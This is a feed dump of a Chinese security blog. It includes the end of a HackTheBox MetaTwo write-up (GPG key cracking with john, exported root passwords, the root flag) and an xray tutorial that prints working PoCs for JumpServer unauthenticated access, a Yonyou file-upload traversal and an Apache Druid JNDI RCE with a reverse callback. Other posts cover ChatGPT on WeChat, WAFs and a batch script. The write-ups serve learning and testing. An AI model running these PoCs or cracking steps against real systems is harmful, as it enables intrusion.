    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
    =7Uo6
    -----END PGP PRIVATE KEY BLOCK-----

    保存私钥到文件key,并转换为john hash格式:

    1
    2
    3
    4
    5
    6
    7
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
    └─# gpg2john key > key.hash
    File key

    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
    └─# cat key.hash
    Passpie:$gpg$*17*54*3072*e975911867862609115f302a3d0196aec0c2ebf79a84c0303056df921c965e589f82d7dd71099ed9749408d5ad17a4421006d89b49c0*3*254*2*7*16*21d36a3443b38bad35df0f0e2c77f6b9*65011712*907cb55ccb37aaad:::Passpie (Auto-generated by Passpie) <passpie@local>::key

    First let us generate the password hash from the private GPG key using gpg2john and save it into a file named key.hash
    运行john时报错:

    1
    Crash recovery file is locked: /root/.john/john.rec

    解决方法:

    1
    rm /root/.john/john.rec

    开始爆破:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
    └─# john -wordlist=/usr/share/wordlists/rockyou.txt key.hash
    Using default input encoding: UTF-8
    Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
    Cost 1 (s2k-count) is 65011712 for all loaded hashes
    Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
    Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    blink182 (Passpie)
    1g 0:00:00:02 DONE (2024-09-15 17:48) 0.3937g/s 75.59p/s 75.59c/s 75.59C/s carolina..november
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed.

    爆破出密码blink182

    利用爆破出的密码,导出passpie密码库:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    jnelson@meta2:~$ passpie export passwd
    Passphrase:
    jnelson@meta2:~$ ls
    passwd user.txt
    jnelson@meta2:~$ cat passwd
    credentials:
    - comment: ''
    fullname: root@ssh
    login: root
    modified: 2022-06-26 08:58:15.621572
    name: ssh
    password: !!python/unicode 'p7qfAZt4_A1xo_0x'
    - comment: ''
    fullname: jnelson@ssh
    login: jnelson
    modified: 2022-06-26 08:58:15.514422
    name: ssh
    password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
    handler: passpie
    version: 1.0

    使用root密码p7qfAZt4_A1xo_0x 登陆获得root_flag.

    1
    2
    3
    4
    jnelson@meta2:~$ su root
    Password:
    root@meta2:/home/jnelson# cat /root/root.txt
    e0a4f8aac97646de58a612e9825392dd

    注意事项

    对于已经爆破成功的文件:第二次只用show参数即可,不需要重复多次爆破。

    1
    2
    3
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
    └─# john --show user.hash
    manager:partylikearockstar

    参考

    https://github.com/evyatar9/Writeups/tree/master/HackTheBox/MetaTwo

    https://medium.com/@KonradDaWo/hackthebox-metatwo-writeup-59135896c890

    https://7rocky.github.io/en/htb/metatwo/

    https://enterprise.hackthebox.com/machine/605/19206/writeup

    ]]>
    + + + + + HTB + + + + + + + HTB + + + +
    + + + + + ChatGPT 接入微信实践 + + /2023/11/05/wechatGPT/ + + ChatGPT 接入微信实践

    安装方法

    参考:https://github.com/zhayujie/chatgpt-on-wechat

    1
    2
    3
    4
    5
    git clone https://github.com/zhayujie/chatgpt-on-wechat
    cd chatgpt-on-wechat/

    pip3 install -r requirements.txt
    pip3 install -r requirements-optional.txt

    修改配置文件:

    1
    2
    cp config-template.json config.json
    vim config.json
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    {
    "open_ai_api_key": "sk-",
    "model": "gpt-3.5-turbo",
    "channel_type": "wx",
    "open_ai_api_base": "https://api.aiproxy.io/v1",
    "proxy": "",
    "hot_reload": false,
    "single_chat_prefix": [
    "bot",
    "@bot"
    ],
    "single_chat_reply_prefix": "[bot] ",
    "group_chat_prefix": [
    "@bot"
    ],
    "group_name_white_list": ["ALL_GROUP"],
    "group_chat_in_one_session": [
    "ChatGPT测试群"
    ],
    "image_create_prefix": [
    "画"
    ],
    "speech_recognition": false,
    "group_speech_recognition": false,
    "voice_reply_voice": false,
    "conversation_max_tokens": 1000,
    "expires_in_seconds": 3600,
    "character_desc": "你是ChatGPT, 一个由OpenAI训练的大型语言模型, 你旨在回答并解决人们的任何问题,并且可以使用多种语言与人交流。",
    "temperature": 0.7,
    "top_p": 1,
    "subscribe_msg": "感谢您的关注!\n这里是ChatGPT,可以自由对话。\n支持语音对话。\n支持图片输入。\n支持图片输出,画字开头的消息将按要求创作图片。\n支持tool、角色扮演和文字冒险等丰富的插件。\n输入{trigger_prefix}#help 查看详细指令。",
    "use_linkai": true,
    "linkai_api_base": "https://api.link-ai.tech",
    "linkai_api_key": "Link_",
    "linkai_app_code": ""
    }

    API获取

    项目默认使用OpenAI接口,需前往 OpenAI注册页面 创建账号,创建完账号则前往 API管理页面 创建一个 API Key 并保存下来,后面需要在项目中配置这个key。接口需要海外网络访问及绑定信用卡支付。

    或者使用第三方API。

    比如:https://aiproxy.io/。(消费很多)

    或者:https://chat.link-ai.tech (推荐,便宜)

    注意,配置第三方linkai_api之后,无需再配置open_ai_api_key.

    配置文件如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    {
    "model": "gpt-3.5-turbo",
    "channel_type": "wx",
    "proxy": "",
    "hot_reload": false,
    "single_chat_prefix": [
    "bot",
    "@bot"
    ],
    "single_chat_reply_prefix": "[bot] ",
    "group_chat_prefix": [
    "@bot"
    ],
    "group_name_white_list": ["ALL_GROUP"],
    "group_chat_in_one_session": [
    "ChatGPT测试群"
    ],
    "image_create_prefix": [
    "画"
    ],
    "speech_recognition": false,
    "group_speech_recognition": false,
    "voice_reply_voice": false,
    "conversation_max_tokens": 1000,
    "expires_in_seconds": 3600,
    "character_desc": "你是ChatGPT, 一个由OpenAI训练的大型语言模型, 你旨在回答并解决人们的任何问题,并且可以使用多种语言与人交流。",
    "temperature": 0.7,
    "top_p": 1,
    "subscribe_msg": "感谢您的关注!\n这里是ChatGPT,可以自由对话。\n支持语音对话。\n支持图片输入。\n支持图片输出,画字开头的消息将按要求创作图片。\n支持tool、角色扮演和文字冒险等丰富的插件。\n输入{trigger_prefix}#help 查看详细指令。",
    "use_linkai": true,
    "linkai_api_base": "https://api.link-ai.tech",
    "linkai_api_key": "Link_",
    "linkai_app_code": ""
    }

    常用命令

    启动程序

    直接启动:python3 app.py

    后台运行:nohup python3 app.py & tail -f nohup.out

    日志输出到nohup.out

    关闭进程

    搜索进程并kill

    1
    2
    3
    ps -ef | grep app.py | grep -v grep

    kill -9 加进程号

    tool插件

    介绍

    https://github.com/goldfishh/chatgpt-on-wechat/blob/master/plugins/tool/README.md

    Tool工具: 与操作系统和互联网交互,支持最新信息搜索、数学计算、天气和资讯查询、网页总结,基于 chatgpt-tool-hub 实现

    相关API申请方法如下:

    https://github.com/goldfishh/chatgpt-tool-hub/blob/master/docs/apply_optional_tool.md

    配置tool插件

    进入目录配置:plugins/tool

    cp config.json.template config.json

    配置需要开启的插件,有些需要API

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
     1 {
    2 "tools": [
    3 "news",
    4 "morning-news",
    5 "wikipedia",
    6 "python",
    7 "url-get",
    8 "terminal",
    9 "bing-search",
    10 "meteo-weather"],
    11 "kwargs": {
    12 "llm_api_key": "",
    13 "proxy": "",
    14 "debug": false,
    15 "top_k_results": 2,
    16 "no_default": false,
    17 "model_name": "gpt-3.5-turbo",
    18 "news_api_key": "",
    19 "bing_subscription_key": "",
    20 "morning_news_api_key": ""
    21 }
    22 }

    使用tool插件

    #help tool: 查看tool帮助信息,可查看已加载工具列表
    $tool 命令: 根据给出的{命令}使用一些可用工具尽力为你得到结果。
    $tool reset: 重置工具。

    插件未启用bug

    使用一段时间后,提供插件未启用,排查发现是配置文件自动改为了false.

    重新修改为true即可。

    chatgpt-on-wechat/plugins/plugins.json

    1
    2
    3
    4
    19         "tool": {
    20 "enabled": true,
    21 "priority": 0
    22 },

    知识库平台配置

    参考

    https://github.com/zhayujie/chatgpt-on-wechat/tree/master/plugins/linkai

    https://link-ai.tech/platform/link-app/wechat

    获取API

    进入控制台:

    https://chat.link-ai.tech/console/factory

    新用户有免费的600积分。

    我充值了1w积分,生成一张图片需要150积分。

    配置插件

    plugins/linkai 目录下的 config.json.template 配置模板复制为最终生效的 config.json

    配置项中 group_app_map 部分是用于映射群聊与LinkAI平台上的应用, midjourney 部分是 mj 画图的配置,summary 部分是文档总结及对话功能的配置。三部分的配置相互独立,可按需开启。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    {
    "group_app_map": { # 群聊 和 应用编码 的映射关系
    "测试群名称1": "default", # 表示在名称为 "测试群名称1" 的群聊中将使用app_code 为 default 的应用
    "测试群名称2": "Kv2fXJcH"
    },
    "midjourney": {
    "enabled": true, # midjourney 绘画开关
    "auto_translate": true, # 是否自动将提示词翻译为英文
    "img_proxy": true, # 是否对生成的图片使用代理,如果你是国外服务器,将这一项设置为false会获得更快的生成速度
    "max_tasks": 3, # 支持同时提交的总任务个数
    "max_tasks_per_user": 1, # 支持单个用户同时提交的任务个数
    "use_image_create_prefix": true # 是否使用全局的绘画触发词,如果开启将同时支持由`config.json`中的 image_create_prefix 配置触发
    },
    "summary": {
    "enabled": true, # 文档总结和对话功能开关
    "group_enabled": true, # 是否支持群聊开启
    "max_file_size": 5000 # 文件的大小限制,单位KB,默认为5M,超过该大小直接忽略
    }
    }

    主配置文件

    添加下面几行。

    1
    2
    3
    4
    "use_linkai": true,
    "linkai_api_key": "",
    "linkai_app_code": "", #选填
    "linkai_api_base": "https://api.link-ai.chat", # linkAI服务地址,若国内无法访问或延迟较高可改为 https://api.link-ai.tech

    刚开始没有写linkai_api_base,会报错。加入这个参数之后可以正常使用。

    Midjourney绘图功能

    开启之后,艾特机器人,并输入提示词”画”,就会根据要求输出图片。

    文档总结功能

    该功能依赖 LinkAI的知识库及对话功能,需要在项目根目录的config.json中设置 linkai_api_key, 同时根据上述插件配置说明,在插件config.json添加 summary 部分的配置,设置 enabled 为 true。

    如果不想创建 plugins/linkai/config.json 配置,可以直接通过 $linkai sum open 指令开启该功能。

    功能开启后,向机器人发送 文件分享链接卡片 即可生成摘要,进一步可以与文件或链接的内容进行多轮对话。

    1. 文件目前 支持 txt, docx, pdf, md, csv格式,文件大小由 max_file_size 限制,最大不超过15M,文件字数最多可支持百万字的文件。但不建议上传字数过多的文件,一是token消耗过大,二是摘要很难覆盖到全部内容,只能通过多轮对话来了解细节。
    2. 分享链接 目前仅支持 公众号文章,后续会支持更多文章类型及视频链接等
    3. 总结及对话的 费用与 LinkAI 3.5-4K 模型的计费方式相同,按文档内容的tokens进行计算

    语音功能

    暂时报错,未解决。

    提示缺少ffmpeg ,安装后发现后台运行会报错,且未解决问题。

    于是直接关闭语音识别和回复语音的功能。

    1
    2
    3
    23   "speech_recognition": false,
    24 "group_speech_recognition": false,
    25 "voice_reply_voice": false,

    效果演示

    工具列表

    tools

    今日新闻

    news

    操作电脑终端

    terminal

    Midjourney画图

    Midjourney

    Url-Get

    urlget

    生成摘要

    zhaiyao

    总结

    花了一整天时间,成功接入微信。效果还是很不错,可以当作群助手,配置tool插件后提供了更强大了功能。

    比如:

    1
    2
    已加载工具列表: 
    python, url-get, python, summary, terminal, browser, url-get, wikipedia, arxiv, hello-tool, google-search, wolfram-alpha, debug, answer-user, news-api, finance-news, morning-news, news, bing-search, searxng-search, meteo-weather, morning-news, wikipedia, meteo-weather, terminal

    需要服务器资源,GPT API资源,以及linkai资源以接入Midjourney.使用人数多的话,也是一笔不小的支出。

    参考

    https://www.wangpc.cc/aigc/wechat_com-chatgpt/

    https://www.zsanjin.de/posts-gpt4api.html

    ]]>
    + + + + + blog + + + + + + + blog + + ChatGPT + + + +
    + + + + + xray之以CVE-2023-42442为例POC编写 + + /2023/09/23/xray/ + + xray下载

    社区版下载和使用

    注意下载新版的,旧版可能无法加载自定义POC

    https://github.com/chaitin/xray/releases

    使用方法

    查看help

    xray_windows_amd64.exe webscan --help

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    Version: 1.9.11/eb0c331d/COMMUNITY

    NAME:
    xray - A powerful scanner engine [https://docs.xray.cool]

    USAGE:
    [global options] command [command options] [arguments...]

    COMMANDS:
    webscan, ws Run a webscan task
    servicescan, ss Run a service scan task
    subdomain, sd Run a subdomain task
    poclint, pl, lint lint yaml poc
    burp-gamma, btg Convert the export file of burp historical proxy records to POC format
    transform transform other script to gamma
    reverse Run a standalone reverse server
    convert convert results from json to html or from html to json
    genca GenerateToFile CA certificate and key
    upgrade check new version and upgrade self if any updates found
    version Show version info
    x A command that enables all plugins.
    You can customize new commands or modify the plugins enabled by a command in the configuration file.
    help, h Shows a list of commands or help for one command

    GLOBAL OPTIONS:
    --config FILE Load configuration from FILE (default: "config.yaml")
    --log-level value Log level, choices are debug, info, warn, error, fatal
    --help, -h show help
    [INFO] 2023-09-21 17:36:22 [default:entry.go:226] Loading config file from config.yaml

    查看webscan使用

    xray_windows_amd64.exe webscan --help

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    Version: 1.9.11/eb0c331d/COMMUNITY

    NAME:
    webscan - Run a webscan task

    USAGE:
    webscan [command options] [arguments...]

    OPTIONS:
    --list, -l list plugins
    --plugins value, --plugin value, --plug value specify the plugins to run, separated by ','
    --poc value, -p value specify the poc to run, separated by ','
    --level value specify the level of poc to run, separated by ','
    --tags value specify the level of poc to run, separated by ','

    --listen value use proxy resource collector, value is proxy addr, (example: 127.0.0.1:1111)
    --basic-crawler value, --basic value use a basic spider to crawl the target and scan the requests
    --browser-crawler value, --browser value use a browser spider to crawl the target and scan the requests
    --url-file value, --uf value read urls from a local file and scan these urls, one url per line
    --burp-file value, --bf value read requests from burpsuite exported file as targets
    --url value, -u value scan a **single** url
    --data value, -d value data string to be sent through POST (e.g. 'username=admin')
    --raw-request FILE, --rr FILE load http raw request from a FILE
    --force-ssl, --fs force usage of SSL/HTTPS for raw-request

    --json-output FILE, --jo FILE output xray results to FILE in json format
    --html-output FILE, --ho FILE output xray result to FILE in HTML format
    --webhook-output value, --wo value post xray result to url in json format

    CVE-2023-42442漏洞复现

    参考:https://blog.csdn.net/holyxp/article/details/133066481

    https://www.secrss.com/articles/58981

    burp发送请求包:

    1
    2
    3
    4
    5
    6
    7
    8
    GET /api/v1/terminal/sessions/?limit=2 HTTP/1.1
    Host: example.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Connection: close
    Upgrade-Insecure-Requests: 1

    查看response

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 21 Sep 2023 08:05:28 GMT
    Content-Type: application/json
    Content-Length: 1782
    Connection: close
    Vary: Accept, Accept-Language, Cookie
    Allow: GET, POST, PUT, PATCH, DELETE, HEAD, OPTIONS
    X-Frame-Options: DENY
    Content-Language: en
    X-Content-Type-Options: nosniff
    Referrer-Policy: same-origin
    Set-Cookie: SESSION_COOKIE_NAME_PREFIX=jms_; Path=/

    {"count":18168,"next":"http://example.com/api/v1/terminal/sessions/?limit=2&offset=2","previous":null,"results":[{"id":"4d2f4dfc-8332-46e1-a691-fe5dbe72fc63","user":"林(lin@example.com)","asset":"林(10.15.168.113)","user_id":"70932e0f-5e36-4086-821a-ee453d01f39f","asset_id":"bac40e7c-27d9-4040-b4ad-b692576ac0c9","account":"@INPUT(ltc)","account_id":"4172edfc-4c65-43af-844d-ad729c98babd","protocol":"rdp","type":{"value":"normal","label":"Normal"},"login_from":{"value":"WT","label":"Web Terminal"},"remote_addr":"172.33.4.215","comment":null,"terminal":{"id":"f4bc8fa3-8ff2-4836-b0a0-17a07c314ce4","name":"[Lion]-centos-73bf114de44f"},"command_amount":0,"org_id":"00000000-0000-0000-0000-000000000002","org_name":"Default","is_success":true,"is_finished":false,"has_replay":false,"has_command":false,"can_replay":false,"can_join":true,"can_terminate":true,"date_start":"2023/09/21 16:04:36 +0800","date_end":null},{"id":"95f80041-4bda-45e5-a513-f4bc55385587","user":"郭(guo@example.com)","asset":"郭(10.18.100.100)","user_id":"74b08df7-cadc-4e9b-a1b7-1dd6a53f0314","asset_id":"6dd5488f-bd7a-4731-817f-85217416a52c","account":"@INPUT(GW)","account_id":"98ab7554-e018-4f3d-b936-c1c9a37b62ab","protocol":"rdp","type":{"value":"normal","label":"Normal"},"login_from":{"value":"WT","label":"Web Terminal"},"remote_addr":"172.33.129.206","comment":null,"terminal":{"id":"f4bc8fa3-8ff2-4836-b0a0-17a07c314ce4","name":"[Lion]-centos-73bf114de44f"},"command_amount":0,"org_id":"00000000-0000-0000-0000-000000000002","org_name":"Default","is_success":true,"is_finished":false,"has_replay":false,"has_command":false,"can_replay":false,"can_join":true,"can_terminate":true,"date_start":"2023/09/21 16:03:41 +0800","date_end":null}]}

    自定义POC演示

    使用方法,运行单个自定义POC,命令如下:

    1
    xray_windows_amd64.exe webscan --plugins phantasm --poc .\POC\yaml-poc-fit2cloud-jumpserver-unauthorized_access-CVE-2023-42442.yml --url http://example.com/ --html-output CVE-2023-42442.html --json-output CVE-2023-42442.json

    这是一个JumpServer未授权访问漏洞(CVE-2023-42442)。POC如下:

    原理很简单,这段代码描述了对服务器响应的检查条件。它要求响应的状态码为200,并且响应体中包含特定的字符串:”count”、”next”、”previous”和”results”。这些条件共同判断了漏洞利用的成功条件。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    name: poc-yaml-jumpserver-session-replay-unauth
    transport: http
    rules:
    r0:
    request:
    method: GET
    path: /api/v1/terminal/sessions/?limit=1
    follow_redirects: false
    expression: >-
    response.status == 200 &&
    response.body_string.contains('"count":') &&
    response.body_string.contains('"next":') &&
    response.body_string.contains('"previous":') &&
    response.body_string.contains('"results":')
    expression: r0()
    detail:
    author: Chaitin
    links:
    - https://stack.chaitin.com/techblog/detail/156

    执行过程:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    ____  ___.________.    ____.   _____.___.
    \ \/ /\_ __ \ / _ \ \__ | |
    \ / | _ _/ / /_\ \ / | |
    / \ | | \/ | \ \____ |
    \___/\ \ |____| /\____|_ / / _____/
    \_/ \_/ \_/ \/

    Version: 1.9.11/eb0c331d/COMMUNITY

    [INFO] 2023-09-21 17:03:17 [default:entry.go:226] Loading config file from config.yaml

    Enabled plugins: [phantasm]

    [INFO] 2023-09-21 17:03:18 [phantasm:phantasm.go:114] found local poc .\POC\yaml-poc-fit2cloud-jumpserver-unauthorized_access-CVE-2023-42442.yml
    [INFO] 2023-09-21 17:03:18 [phantasm:phantasm.go:185] 1 pocs have been loaded (debug level will show more details)
    [INFO] 2023-09-21 17:03:18 [default:dispatcher.go:444] processing GET http://example.com/
    [Vuln: phantasm]
    Target "http://example.com/"
    VulnType "poc-yaml-jumpserver-session-replay-unauth/default"
    Author "Chaitin"
    Links ["https://stack.chaitin.com/techblog/detail/156"]

    [*] All pending requests have been scanned
    [*] scanned: 1, pending: 0, requestSent: 2, latency: 40.50ms, failedRatio: 0.00%
    [INFO] 2023-09-21 17:03:19 [controller:dispatcher.go:573] controller released, task done

    最后,打开html报告查看漏洞详情即可。

    POC编写指南

    如何编写高质量POC:https://docs.xray.cool/#/guide/hiq/summary

    规则实验室:https://poc.xray.cool/

    可以通过该工具便捷的生成POC,同时可以使用该工具对POC进行格式检查与查重

    具体可以查看开发者文档:https://docs.xray.cool/#/guide/README

    社区贡献的POC:https://github.com/chaitin/xray/tree/master/pocs

    POC示例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    name: poc-yaml-yonyou-chanjet-file-updoad
    manual: true
    transport: http
    set:
    randstr: randomLowercase(60)
    rboundary: randomLowercase(8)
    randname: randomLowercase(6)
    rules:
    r0:
    request:
    cache: true
    method: POST
    path: /tplus/SM/SetupAccount/Upload.aspx?preload=1
    headers:
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
    body: "\
    ------WebKitFormBoundary{{rboundary}}\r\n\
    Content-Disposition: form-data; name=\"File1\"; filename=\"../../../img/login/{{randname}}.jpg\"\r\n\
    Content-Type: image/jpeg\r\n\
    \r\n\
    {{randstr}}\r\n\
    ------WebKitFormBoundary{{rboundary}}--\
    "
    expression: response.status == 200
    r1:
    request:
    cache: true
    method: GET
    path: /tplus/img/login/{{randname}}.jpg
    expression: response.status == 200 && response.body.bcontains(bytes(randstr))
    expression: r0() && r1()
    detail:
    author: Jarcis-cy
    links:
    - https://weibo.com/ttarticle/x/m/show/id/2309404807909669208397?_wb_client_=1
    vulnerability:
    id: CT-475791
    level: critical
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    name: poc-yaml-apache-druid-kafka-rce
    transport: http
    set:
    reverse: newReverse()
    reverseRMI: reverse.rmi
    rules:
    r0:
    request:
    method: POST
    path: /druid/indexer/v1/sampler?for=connect
    follow_redirects: false
    headers:
    Content-Type: application/json
    body: |-
    {
    "type":"kafka",
    "spec":{
    "type":"kafka",
    "ioConfig":{
    "type":"kafka",
    "consumerProperties":{
    "bootstrap.servers":"6.6.6.6:9092",
    "sasl.mechanism":"SCRAM-SHA-256",
    "security.protocol":"SASL_SSL",
    "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"{{reverseRMI}}\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
    },
    "topic":"any",
    "useEarliestOffset":true,
    "inputFormat":{
    "type":"regex",
    "pattern":"([\\s\\S]*)",
    "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
    "columns":[
    "raw"
    ]
    }
    },
    "dataSchema":{
    "dataSource":"sample",
    "timestampSpec":{
    "column":"!!!_no_such_column_!!!",
    "missingValue":"1970-01-01T00:00:00Z"
    },
    "dimensionsSpec":{

    },
    "granularitySpec":{
    "rollup":false
    }
    },
    "tuningConfig":{
    "type":"kafka"
    }
    },
    "samplerConfig":{
    "numRows":500,
    "timeoutMs":15000
    }
    }
    expression: reverse.wait(5)
    expression: r0()
    detail:
    author: chaitin
    ]]>
    + + + + + 漏洞 + + + + + + + 安全 + + 漏洞 + + + +
    + + + + + WAF + + /2023/06/23/waf/ + + WAF概念介绍

    WAF概念

    WAF的产品形态

    WAF部署模式

    开源WAF

    ]]>
    + + + + + 安全 + + + + + + + 安全 + + WAF + + + +
    + + + + + Firefox安装证书的几种方式 + + /2023/06/07/firefox-and-bat/ + + Firefox安装证书的几种方式

    Firefox安装证书的几种方式。

    关于bat脚本

    bat脚本中的变量类型

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    @echo off

    set regPath=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
    set regKey=ProgramFilesDir
    set regValue=
    set Value1="ww"

    reg query %regPath% >nul 2>nul
    if %errorlevel%==0 (
    echo Registry key %regPath% exists.
    for /f "tokens=2*" %%a in ('reg query %regPath% /v %regKey% ^| findstr /i %regKey%') do (
    if "%regValue%"=="" (
    echo value not exists
    ) else (
    set Value1=%%b
    echo %%b
    echo !Value1! 1
    )
    )
    ) else (
    echo Registry key %regPath% does not exist.
    )

    在这个示例脚本中,首先使用set命令给变量Value1赋初值为"ww"。然后,脚本使用reg query命令检查注册表中是否存在指定的注册表目录,如果存在,则使用for /f命令和reg query命令的输出来解析注册表值的名称和数据,并将其存储在变量Value1中。最后,脚本输出变量Value1的值,以及一个附加的字符串1

    请注意,在使用echo命令输出变量Value1的值之前,需要在变量名前加上%字符。否则,输出的将是变量名本身,而不是其存储的值。另外,变量Value1的值在if语句中被设置,因此需要在该语句块中使用!字符来代替%字符,以启用延迟变量扩展。这样,才能在语句块中正确地引用变量Value1的值。

